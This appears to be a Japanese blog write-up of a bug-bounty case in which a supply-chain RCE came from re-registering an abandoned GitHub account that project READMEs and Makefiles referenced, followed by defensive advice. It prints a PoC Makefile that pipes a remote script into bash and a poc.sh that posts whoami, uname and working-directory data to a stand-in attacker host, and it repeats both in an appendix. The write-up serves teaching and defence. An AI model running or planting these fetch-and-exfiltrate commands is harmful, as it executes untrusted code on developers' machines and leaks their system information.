The $2500 Bug — サプライチェーン経由のRCEを「どう考え、何を試し、何を観察したか」で完全解説

Hello there, ('ω')ノ

🧩 全体像（まず3行で把握）

攻撃の核：複数プロジェクトが参照しているが、すでに誰も所有していないGitHubアカウントを攻撃者が再取得し、悪意あるコードを置く。
発火の仕組み：開発者がREADME通りにmake deployやstreamlit run run.pyを実行すると、自動的にそのコードが走る。
教訓：供給チェーン（外部リポジトリやスクリプト参照）は“信頼の境界”を崩す最初の入口になり得る。

フェーズA：まず観察 — 「どこに外部依存があるか」を洗い出す

1️⃣ 最初に見るべき場所

ハッカーが最初にやるのは“攻撃点を探す”ことではありません。まず「このプロジェクトはどこから外部コードを取っているのか？」を観察します。

観察対象は主に以下の3つです：

READMEやINSTALLガイド：git clone https://github.com/Unclaimed-Repo/...
Makefileやスクリプト：curl https://raw.githubusercontent.com/... | bash
CI/CDやpip依存：pip install -r requirements.txt の中に git+https://... がないか

これらは開発者が日常的に実行するコマンドです。つまり、この部分を乗っ取るだけで、自然に“被害者の手で攻撃コードを実行させる”ことができるというわけです。

フェーズB：仮説 — 「未取得のGitHubアカウントを取れば全部差し替えられる」

観察の結果、「参照されているGitHubユーザーが存在しない（404）」状態を見つけます。

ハッカーはこう考えます。

「このアカウント、誰も持ってない。じゃあ自分がこの名前でアカウントを作れば、全員が自分のコードを取りにくる。」

たとえばREADMEにこんな記述があったとします：

git clone https://github.com/UnclaimedDev/awesome-tool

このUnclaimedDevが未取得なら、攻撃者は同じ名前で登録して、 awesome-toolというリポジトリを作り、そこに悪意あるファイルを置くことができます。

フェーズC：最小実験 — 「悪意あるMakefileとpoc.shを置いて試す」

攻撃者が実際にやったこと（PoC）

GitHubでUnclaimedDevを新規登録（自分のアカウントになる）
awesome-toolというリポジトリを作成
その中に以下のようなMakefileとpoc.shを置く

📄 Makefile

deploy:
    curl https://raw.githubusercontent.com/UnclaimedDev/awesome-tool/main/poc.sh | bash

📄 poc.sh

#!/bin/bash
username=$(whoami)
os_details=$(uname -a)
current_directory=$(pwd)
data="username=$username&os_details=$os_details&current_directory=$current_directory"
curl -X POST -d "$data" https://attacker-server.example.com/collect

開発者が何気なくmake deployを実行すると、 このpoc.shが自動的にダウンロード・実行され、自分の環境情報が攻撃者に送信されることになります。

フェーズD：観察 — 実行をどう確認するか

成功のサイン（攻撃側からの観察）

攻撃者サーバ（attacker-server.example.com）に、ユーザー名やOS情報が届く
被害者側では、make deployのログにcurlやbashの実行が見える
GUIアプリなら、streamlit run run.pyで自動的に情報送信やst.successが表示される

攻撃者の思考

「人間の操作に紛れる形で動けば、セキュリティ意識の高い人でも見逃す」
コードは1行のcurl | bashで十分。余計なことをしない方が自然でバレにくい。

フェーズE：調整と再検証 — 「どう防げるか」を逆算する

✅ 開発チームで今すぐできる対策

READMEやスクリプト内の外部URLを全検索：誰のアカウントか、今も存在するかを確認
curl | bashを禁止：代わりに署名付きアーティファクトやパッケージ管理を使う
CI/CDでの外部呼び出しにallowlist導入：github.com/organization-name/*だけ許可、など
ハッシュ検証：curl後にSHA256チェックを追加するだけでも被害を防げる

🧱 組織的な防御

プロジェクトで参照されるGitHubユーザー名を定期監査
不要な個人アカウント参照を削除、組織アカウントに統一
依存解析ツール（e.g. Dependabot, Trivy）で不審URLを検出

💡 ハッカーの思考パターンを分解すると

思考段階	内容	理由
観察	「外部リポジトリに依存している箇所」を探す	コードより“人の動き”を利用した方が確実
仮説	「その外部が未取得なら、奪える」	名前解決の仕組みを利用
実験	アカウントを登録→悪意あるMakefileを置く	最小構成でRCE確認
観察	`curl`ログ・攻撃サーバへの通信を監視	実際に走ったかを定量確認
調整	対策を導く（外部参照の固定・検証）	攻撃経路を閉じる

🎯 まとめ — サプライチェーン攻撃の「型」を理解する

観察：READMEやスクリプトに外部依存があるか調べる
仮説：未所有のアカウントなら差し替えられるはずと考える
実験：そのアカウントを取得し、Makefile経由でPoCを試す
観察：通信・ログで実行を確認する
対策：依存を固定し、署名・検証・監査で再発を防ぐ

🧠 最後に：このケースから学べる本質

サプライチェーン攻撃は「コード」ではなく「人の習慣」を突く。 人が信頼している“手順そのもの”が攻撃ベクトルになる。

付録：PoCの短縮例（復習用）

deploy:
    curl https://raw.githubusercontent.com/UnclaimedDev/awesome-tool/main/poc.sh | bash

#!/bin/bash
curl -X POST -d "user=$(whoami)" https://attacker-server.example.com

このたった2行で、あなたの端末情報は攻撃者に送信されます。

参考: InfoSec Write-ups - The $2500 bug: Remote Code Execution via Supply Chain Attack

Best regards, (^^ゞ

Shikata Ga Nai

Private? There is no such things.